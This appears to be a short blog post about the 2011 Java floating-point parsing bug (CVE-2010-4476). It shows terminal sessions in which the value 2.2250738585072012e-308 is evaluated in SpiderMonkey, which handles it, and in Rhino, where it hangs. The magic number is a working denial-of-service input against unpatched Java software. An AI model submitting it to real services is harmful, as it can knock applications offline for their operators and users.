it's now trivial to crash almost any application written in Java. http://blogs.oracle.com/security/2011/02/security_alert_for_cve-2010-44.html

mozilla's spidermonkey is written in C++ and has no problem:

mlc@palm:~$ smjs
js> "2.2250738585072012e-308" * 2
4.450147717014403e-308
js> 



but try with rhino, which is written in Java:

mlc@palm:~$ rhino
Rhino 1.7 release 2 2010 02 06
js> "2.2250738585072012e-308" * 2

... and it hangs.
